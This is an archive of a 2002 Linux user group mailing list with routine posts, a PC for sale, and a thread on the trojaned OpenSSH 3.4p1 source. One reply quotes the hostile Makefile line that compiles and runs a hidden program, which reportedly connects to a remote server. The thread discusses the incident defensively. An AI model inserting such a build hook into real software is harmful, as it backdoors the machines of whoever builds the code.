From ray@qlilinux.com Tue Jul 30 03:14:01 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31289 invoked by uid 1051); 30 Jul 2002 03:14:01 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 30 Jul 2002 03:14:01 -0000 Received: from 12.217.78.79 ( [12.217.78.79]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Mon, 29 Jul 2002 22:14:01 -0500 Message-ID: <1027998841.3d4604798d411@www.qlitech.net> Date: Mon, 29 Jul 2002 22:14:01 -0500 From: Ray Sanders To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.78.79 Subject: [Qclug] Test yet Again X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 30 Jul 2002 03:14:01 -0000 ping! -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From roadkill-ml@darktraveler.com Tue Jul 30 03:14:10 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31316 invoked by uid 1051); 30 Jul 2002 03:14:09 -0000 Received: from unknown (HELO neo.darktraveler.com) (63.102.218.51) by 0 with SMTP; 30 Jul 2002 03:14:09 -0000 Received: (qmail 4054 invoked by uid 1019); 30 Jul 2002 02:50:35 -0000 Received: from 12.217.143.88 ( [12.217.143.88]) as user dtrroadkill-ml@mail.darktraveler.com by daoc.darktraveler.com with HTTP; Mon, 29 Jul 2002 21:50:35 -0500 Message-ID: <1027997435.3d45fefb5b194@daoc.darktraveler.com> Date: Mon, 29 Jul 2002 21:50:35 -0500 From: Roadkill the Avatar of Misfortune To: mailman@qclug.org Cc: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.143.88 Subject: [Qclug] beans X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 30 Jul 2002 03:14:10 -0000 bet it werks now ------------------------------------------------- http://www.darktraveler.com/ Main Site http://daoc.darktraveler.com/ DAoC Site From ray@qlilinux.com Tue Jul 30 03:15:24 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31365 invoked by uid 1051); 30 Jul 2002 03:15:24 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 30 Jul 2002 03:15:24 -0000 Received: from 12.217.78.79 ( [12.217.78.79]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Mon, 29 Jul 2002 22:15:24 -0500 Message-ID: <1027998924.3d4604ccb92d0@www.qlitech.net> Date: Mon, 29 Jul 2002 22:15:24 -0500 From: Ray Sanders To: qclug@qclug.org Subject: Re: [Qclug] beans References: <1027997435.3d45fefb5b194@daoc.darktraveler.com> In-Reply-To: <1027997435.3d45fefb5b194@daoc.darktraveler.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.78.79 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 30 Jul 2002 03:15:24 -0000 Quoting Roadkill the Avatar of Misfortune : > > > bet it werks now > > > ------------------------------------------------- > http://www.darktraveler.com/ Main Site > http://daoc.darktraveler.com/ DAoC Site > _______________________________________________ > Qclug mailing list > Qclug@qclug.org > http://qclug.org/mailman/listinfo/qclug > > Sure does -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From noah_norris@yahoo.com Tue Jul 30 16:26:17 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1992 invoked by uid 1051); 30 Jul 2002 16:26:17 -0000 Received: from unknown (HELO web14607.mail.yahoo.com) (216.136.224.87) by 0 with SMTP; 30 Jul 2002 16:26:17 -0000 Message-ID: <20020730162609.98180.qmail@web14607.mail.yahoo.com> Received: from [208.16.227.183] by web14607.mail.yahoo.com via HTTP; Tue, 30 Jul 2002 09:26:09 PDT Date: Tue, 30 Jul 2002 09:26:09 -0700 (PDT) From: Noah Norris To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailman-Approved-At: Tue, 30 Jul 2002 16:35:39 -0000 Subject: [QCLUG] testing qclug mailing list X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 30 Jul 2002 16:26:17 -0000 whats up ! ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From ray@qlilinux.com Tue Jul 30 18:08:11 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2541 invoked by uid 1051); 30 Jul 2002 18:08:11 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 30 Jul 2002 18:08:11 -0000 From: Ray Sanders To: "lug@cialug.org" Cc: cedarlug@cedarlug.org, "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 30 Jul 2002 13:11:10 -0500 Message-Id: <1028052672.15601.63.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] Cheap Box For Sale X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 30 Jul 2002 18:08:11 -0000 I have another cheap Linux Box for Sale. Micro ATX Chassis ASUS A7VIVM Motherboard (With Onboard sound+ Video) 256MB RAM Duron 750 20GB IDE HDD 52X CDROM 1.44MB Floppy Drive 3COM 10/100 Nic $279.00 E-mail me off list if interested. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From ray@qlilinux.com Wed Jul 31 16:12:15 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7675 invoked by uid 1051); 31 Jul 2002 16:12:15 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 31 Jul 2002 16:12:15 -0000 From: Ray Sanders To: "qclug@qclug.org" Cc: "lug@cialug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 31 Jul 2002 11:15:15 -0500 Message-Id: <1028132116.18046.62.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] QCLUG.org X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 16:12:15 -0000 QCLUG.org is back up and running, and some changes/improvements have been made. With all luck some of the problems that we have had over the past two years will cease to exist. Thanks to all for your support, and patience. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From OrtegaAlexC@JohnDeere.com Wed Jul 31 16:20:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7761 invoked by uid 1051); 31 Jul 2002 16:20:52 -0000 Received: from unknown (HELO fdpnmailgw2.mailgws.com) (192.43.65.86) by 0 with SMTP; 31 Jul 2002 16:20:52 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Wed, 31 Jul 2002 11:20:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1156D1E91630356-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Subject: [QCLUG] QCLUG and Other tidbits... X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 16:20:52 -0000 I was up in Glen Ellyn this weekend and went to the Computer Show up there.... And it so happened that they were having a LinuxFest right next door. Great spot, but not many people there... A loose group like ours, but you know what it looked like? They were having fun!! Imagine that...oh well...hehe I saw about 15 people there or so and talked with a few ,but my time was limited... They did have a cool idea... They used 2 classrooms at the College of DuPage there, one for the machines to show and install linux.... The other room, @ Noon they showed a movie..."Pirates of Silicon Valley".... Very cool.... They plugged into the over head LCD in the room and played the movie... Not a bad idea, possibly we could run movies during the day.... TRON, Hackers, Pirates..., etc...? Anti-Trust, with its Gnome screens :-) I know there are only like 6 people re-subscribed, but any other ideas for the DemoDay? Just shoot me...um...em... shoot em out there... Have A Nice Day... Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office "Uh... do i need the laptop on to install this software?" > -----Original Message----- > From: Ray Sanders [SMTP:ray@qlilinux.com] > Sent: Wednesday, July 31, 2002 11:15 AM > To: qclug@qclug.org > Cc: lug@cialug.org > Subject: [QCLUG] QCLUG.org > > QCLUG.org is back up and running, and some changes/improvements have > been made. > > With all luck some of the problems that we have had over the past two > years will cease to exist. > > > Thanks to all for your support, and patience. > > > -- > ===================================================== > > Ray Sanders - QliTech Linux Computers > http://www.qlilinux.com - ray@qlilinux.com > 1-877-24-LINUX (Toll Free - U.S.A and Canada) > > ===================================================== > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From noah_norris@yahoo.com Wed Jul 31 17:07:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8042 invoked by uid 1051); 31 Jul 2002 17:07:00 -0000 Received: from unknown (HELO web14609.mail.yahoo.com) (216.136.224.241) by 0 with SMTP; 31 Jul 2002 17:07:00 -0000 Message-ID: <20020731170655.80712.qmail@web14609.mail.yahoo.com> Received: from [63.14.191.222] by web14609.mail.yahoo.com via HTTP; Wed, 31 Jul 2002 10:06:48 PDT Date: Wed, 31 Jul 2002 10:06:48 -0700 (PDT) From: Noah Norris Subject: Re: [QCLUG] QCLUG and Other tidbits... To: qclug@qclug.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 17:07:00 -0000 whats up sounds like fun Playing DVD on a linux system hooked to a vga projector sounds like a good idea. I have my DVD player working in linux fine / well sort of :) i hopefully will have my laptop (w/gentoo ) ready for the demo day. It will be realy a good test for showing linux on lower end hardware (specs p2 366 64mb ram will be 256 mb ram 12 gb hd) --- Ortega Alex C wrote: > I was up in Glen Ellyn this weekend and went to the > Computer Show up > there.... > And it so happened that they were having a LinuxFest > right next door. > Great spot, but not many people there... A loose > group like ours, but you > know what it looked like? > They were having fun!! Imagine that...oh well...hehe > I saw about 15 people there or so and talked with a > few ,but my time was > limited... > They did have a cool idea... > They used 2 classrooms at the College of DuPage > there, one for the machines > to show and install linux.... > The other room, @ Noon they showed a > movie..."Pirates of Silicon Valley".... > Very cool.... > They plugged into the over head LCD in the room and > played the movie... > Not a bad idea, possibly we could run movies during > the day.... > TRON, Hackers, Pirates..., etc...? Anti-Trust, with > its Gnome screens :-) > > I know there are only like 6 people re-subscribed, > but any other ideas for > the DemoDay? > Just shoot me...um...em... shoot em out there... > > Have A Nice Day... > Alexander C. Ortega > Service ADVISOR(tm) Summer Support Team > JDIS : John Deere Information Services > (309) 765-2916 - Office > "Uh... do i need the laptop on to install this > software?" > > > -----Original Message----- > > From: Ray Sanders [SMTP:ray@qlilinux.com] > > Sent: Wednesday, July 31, 2002 11:15 AM > > To: qclug@qclug.org > > Cc: lug@cialug.org > > Subject: [QCLUG] QCLUG.org > > > > QCLUG.org is back up and running, and some > changes/improvements have > > been made. > > > > With all luck some of the problems that we have > had over the past two > > years will cease to exist. > > > > > > Thanks to all for your support, and patience. > > > > > > -- > > > ===================================================== > > > > Ray Sanders - QliTech Linux Computers > > http://www.qlilinux.com - ray@qlilinux.com > > 1-877-24-LINUX (Toll Free - U.S.A and Canada) > > > > > ===================================================== > > > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From jim.biehn@iowawireless.com Wed Jul 31 17:07:26 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8067 invoked by uid 1051); 31 Jul 2002 17:07:26 -0000 Received: from unknown (HELO metis.iowawireless.com) (209.152.82.131) by 0 with SMTP; 31 Jul 2002 17:07:26 -0000 Received: by metis.iowawireless.com with Internet Mail Service (5.5.2653.19) id ; Wed, 31 Jul 2002 12:06:33 -0500 Message-ID: From: Jim Biehn To: "'qclug@qclug.org'" Subject: RE: [QCLUG] QCLUG.org Date: Wed, 31 Jul 2002 12:06:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Mailman-Approved-At: Wed, 31 Jul 2002 17:20:05 -0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 17:07:26 -0000 Hi, my name is Jim Biehn, I work for Iowa Wireless in the QC area and love to play with Linux and would want to learn more about it. I have bought every organized Redhat distro since day 1, only installed 2 versions 6.0 and 6.2. I also visited the LUG in Galesburg, IL. and was pointed toward Slackware 7.1. I was surprised of the difference in the installs and cleanup of the distros, Slackware was so much better at that time. Hope to make a meeting and share my horror stories. Thanks.....Jim. -----Original Message----- From: qclug-bounces@qclug.org [mailto:qclug-bounces@qclug.org]On Behalf Of Ray Sanders Sent: Wednesday, July 31, 2002 11:15 AM To: qclug@qclug.org Cc: lug@cialug.org Subject: [QCLUG] QCLUG.org QCLUG.org is back up and running, and some changes/improvements have been made. With all luck some of the problems that we have had over the past two years will cease to exist. Thanks to all for your support, and patience. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== _______________________________________________ QCLUG mailing list QCLUG@qclug.org http://qclug.org/mailman/listinfo/qclug From gray@cns.uni.edu Wed Jul 31 18:59:48 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8776 invoked by uid 1051); 31 Jul 2002 18:59:47 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 31 Jul 2002 18:59:47 -0000 Received: (qmail 19143 invoked by uid 2041); 31 Jul 2002 18:59:44 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 31 Jul 2002 18:59:44 -0000 Date: Wed, 31 Jul 2002 13:59:44 -0500 (CDT) From: Paul Gray To: Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mailman-Approved-At: Wed, 31 Jul 2002 19:48:07 -0000 Subject: [QCLUG] New kernel on the horizon? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 18:59:48 -0000 It's hard to believe that the 2.4.18 kernel's been with us since February (when it seemed like new kernels were coming out weekly, if not daily). 2.4.19 has been in release candidate 3 stage for 11 days now -- anyone think it's been incubated enough? I've been running 2.4.19-pre9-ac2 for about a month now -- good improvement in the areas that I'm interested in (gigabit drivers for the Intel e1000, Tigon (broadcom) and dp83820 chipsets) -- anyone see something else alluring? Memory management still blows. (IMNSHO) Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From gray@cns.uni.edu Wed Jul 31 19:05:57 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8875 invoked by uid 1051); 31 Jul 2002 19:05:56 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 31 Jul 2002 19:05:56 -0000 Received: (qmail 19222 invoked by uid 2041); 31 Jul 2002 19:05:53 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 31 Jul 2002 19:05:53 -0000 Date: Wed, 31 Jul 2002 14:05:53 -0500 (CDT) From: Paul Gray To: Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mailman-Approved-At: Wed, 31 Jul 2002 19:48:07 -0000 Subject: [QCLUG] New kernel on the horizon? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 31 Jul 2002 19:05:57 -0000 It's hard to believe that the 2.4.18 kernel's been with us since February (when it seemed like new kernels were coming out weekly, if not daily). 2.4.19 has been in release candidate 3 stage for 11 days now -- anyone think it's been incubated enough? I've been running 2.4.19-pre9-ac2 for about a month now -- good improvement in the areas that I'm interested in (gigabit drivers for the Intel e1000, Tigon (broadcom) and dp83820 chipsets) -- anyone see something else alluring? Memory management still blows. (IMNSHO) Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From daniel-wittenberg@starken.com Thu Aug 01 15:52:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 13149 invoked by uid 1051); 1 Aug 2002 15:52:23 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 1 Aug 2002 15:52:23 -0000 Received: (from nobody@localhost) by dns1.starken.com (8.11.6/8.11.6) id g71Fpcb05346; Thu, 1 Aug 2002 10:51:38 -0500 X-Authentication-Warning: dns1.starken.com: nobody set sender to daniel-wittenberg@starken.com using -f Received: from tux.its.uiowa.edu ( [tux.its.uiowa.edu]) as user dwittenb@mail.starken.com by mail.starken.com with HTTP; Thu, 1 Aug 2002 10:51:37 -0500 Message-ID: <1028217097.3d49590999b70@mail.starken.com> Date: Thu, 1 Aug 2002 10:51:37 -0500 From: Daniel Wittenberg To: linux-users@icarus.net, cedarlug@cedarlug.org, lug@cialug.org, qclug@qclug.org, crlug@ns2.inav.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Mailman-Approved-At: Thu, 01 Aug 2002 16:44:52 -0000 Subject: [QCLUG] openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 15:52:24 -0000 Given the recent announcement of trojaned openssh source, I thought I'd let those that don't know, that there is a link off the iclug website (www.iclug.org) in the Downloads section for clean openssh RPM's for RH 7.x. I also recompiled them with the latest openssl support, so they should be the latest-n-greatest copies. I didn't do RH 6.x yet, so if you want that hollar and I'll get around to it. Dan From daniel-wittenberg@starken.com Thu Aug 01 16:13:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 13343 invoked by uid 1051); 1 Aug 2002 16:13:12 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 1 Aug 2002 16:13:12 -0000 Received: (from nobody@localhost) by dns1.starken.com (8.11.6/8.11.6) id g71GCYs06367; Thu, 1 Aug 2002 11:12:34 -0500 X-Authentication-Warning: dns1.starken.com: nobody set sender to daniel-wittenberg@starken.com using -f Received: from tux.its.uiowa.edu ( [tux.its.uiowa.edu]) as user dwittenb@mail.starken.com by mail.starken.com with HTTP; Thu, 1 Aug 2002 11:12:33 -0500 Message-ID: <1028218353.3d495df183579@mail.starken.com> Date: Thu, 1 Aug 2002 11:12:33 -0500 From: Daniel Wittenberg To: Pete Flugstad Cc: linux-users@icarus.net, cedarlug@cedarlug.org, lug@cialug.org, qclug@qclug.org, crlug@ns2.inav.net References: <1028217097.3d49590999b70@mail.starken.com> <3D495C3D.3030503@icon-labs.com> In-Reply-To: <3D495C3D.3030503@icon-labs.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Mailman-Approved-At: Thu, 01 Aug 2002 16:44:52 -0000 Subject: [QCLUG] Re: linux-users: openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 16:13:12 -0000 But if they trojaned the source on the openbsd server, they could have just as easily uploaded new RPMs and SRPMs as well...the reason for the signatures... Dan Quoting Pete Flugstad : > > Note that RPMs (and other packaged binaries) in general should be > safe (boy that feels weird to say that - normally it's the other > way around). The trojan was only run if you were building the > OpenSSH code directly from source. So the host that built the RPM > is the one that would be infected. This doesn't mean that the RPM > couldn't be infected somehow, but it would be much more difficult > for someone to do so, as they would have to access the host that > was building the RPM, and then somehow infect the RPM. > > Pete > From pete_flugstad@icon-labs.com Thu Aug 01 16:05:33 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 13247 invoked by uid 1051); 1 Aug 2002 16:05:32 -0000 Received: from unknown (HELO mail.icon-labs.com) (216.161.118.235) by 0 with SMTP; 1 Aug 2002 16:05:32 -0000 Received: from icon-labs.com [12.217.230.21] by mail.icon-labs.com with ESMTP (SMTPD32-6.05) id AB4E5390112; Thu, 01 Aug 2002 11:01:18 -0500 Message-ID: <3D495C3D.3030503@icon-labs.com> Date: Thu, 01 Aug 2002 11:05:17 -0500 From: Pete Flugstad User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1b) Gecko/20020721 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Daniel Wittenberg CC: linux-users@icarus.net, cedarlug@cedarlug.org, lug@cialug.org, qclug@qclug.org, crlug@ns2.inav.net References: <1028217097.3d49590999b70@mail.starken.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Thu, 01 Aug 2002 16:45:17 -0000 Subject: [QCLUG] Re: linux-users: openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 16:05:33 -0000 Daniel Wittenberg wrote: > Given the recent announcement of trojaned openssh source, I thought I'd let > those that don't know, that there is a link off the iclug website > (www.iclug.org) in the Downloads section for clean openssh RPM's for RH 7.x. I > also recompiled them with the latest openssl support, so they should be the > latest-n-greatest copies. I didn't do RH 6.x yet, so if you want that hollar > and I'll get around to it. Note that RPMs (and other packaged binaries) in general should be safe (boy that feels weird to say that - normally it's the other way around). The trojan was only run if you were building the OpenSSH code directly from source. So the host that built the RPM is the one that would be infected. This doesn't mean that the RPM couldn't be infected somehow, but it would be much more difficult for someone to do so, as they would have to access the host that was building the RPM, and then somehow infect the RPM. Pete From daniel-wittenberg@starken.com Thu Aug 01 18:00:16 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 14032 invoked by uid 1051); 1 Aug 2002 18:00:16 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 1 Aug 2002 18:00:16 -0000 Received: (from nobody@localhost) by dns1.starken.com (8.11.6/8.11.6) id g71HxMF11778; Thu, 1 Aug 2002 12:59:22 -0500 X-Authentication-Warning: dns1.starken.com: nobody set sender to daniel-wittenberg@starken.com using -f Received: from 172.27.1.215 ( [172.27.1.215]) as user dwittenb@mail.starken.com by mail.starken.com with HTTP; Thu, 1 Aug 2002 12:59:22 -0500 Message-ID: <1028224762.3d4976fa1220b@mail.starken.com> Date: Thu, 1 Aug 2002 12:59:22 -0500 From: Daniel Wittenberg To: "Christopher C. Weis" Cc: Pete Flugstad , cedarlug , crlug , linux-users , lug , qclug References: <3D26D42D@webmail.engineering.uiowa.edu> In-Reply-To: <3D26D42D@webmail.engineering.uiowa.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 Subject: [QCLUG] RE: linux-users: openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 18:00:16 -0000 My point was simply that in general, if a hacker had access to the site, they could have done anything... I also like 3.3+ instead of 3.1 because of the priv sep code, so you can run it as the user and not root, a little extra protection IMHO. Dan Quoting "Christopher C. Weis" : > It looks as though the trojan is in a Makefile, not one of the actual SSH > binaries, so the RPMS should still be OK. The following is from Edwin > Groothuis's post... > > > The changed files are openssh-3.4p1/openbsd-compat/Makefile.in: > all: libopenbsd-compat.a > + @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out & > > bf-test.c[1] is nothing more than a wrapper which generates a > shell-script[2] which compiles itself and tries to connect to an > server running on 203.62.158.32:6667 (web.snsonline.net). > > > As far as I know, the binaries are perfectly fine, but I haven't personally > tested them. Has anyone checked the RPM sigs yet? Possibly a 'rpm -qpl' to > > see if it installs any "extra" files? > > ~Chris > > >===== Original Message From Daniel Wittenberg > > ===== > >But if they trojaned the source on the openbsd server, they could have just > > as > >easily uploaded new RPMs and SRPMs as well...the reason for the > signatures... > > > >Dan > > > >Quoting Pete Flugstad : > >> > >> Note that RPMs (and other packaged binaries) in general should be > >> safe (boy that feels weird to say that - normally it's the other > >> way around). The trojan was only run if you were building the > >> OpenSSH code directly from source. So the host that built the RPM > >> is the one that would be infected. This doesn't mean that the RPM > >> couldn't be infected somehow, but it would be much more difficult > >> for someone to do so, as they would have to access the host that > >> was building the RPM, and then somehow infect the RPM. > >> > >> Pete > >> > From pete_flugstad@icon-labs.com Thu Aug 01 18:39:29 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 14282 invoked by uid 1051); 1 Aug 2002 18:39:28 -0000 Received: from unknown (HELO mail.icon-labs.com) (216.161.118.235) by 0 with SMTP; 1 Aug 2002 18:39:28 -0000 Received: from icon-labs.com [12.217.230.21] by mail.icon-labs.com with ESMTP (SMTPD32-6.05) id AF644150114; Thu, 01 Aug 2002 13:35:16 -0500 Message-ID: <3D498054.60207@icon-labs.com> Date: Thu, 01 Aug 2002 13:39:16 -0500 From: Pete Flugstad User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1b) Gecko/20020721 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Daniel Wittenberg CC: "Christopher C. Weis" , cedarlug , crlug , linux-users , lug , qclug References: <3D26D42D@webmail.engineering.uiowa.edu> <1028224762.3d4976fa1220b@mail.starken.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [QCLUG] Re: linux-users: openssh 3.4 downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 01 Aug 2002 18:39:29 -0000 Daniel Wittenberg wrote: > I also like 3.3+ instead of 3.1 because of the priv sep code, so you can run it > as the user and not root, a little extra protection IMHO. priv sep is still buggy in 3.4 (it's too new). The comp.security.ssh group is rife with other problems with priv sep and OpenSSH 3.4. This is one of the primary reasons Red Hat stuck with 3.1 and fixed that rather than upgrading to 3.4. 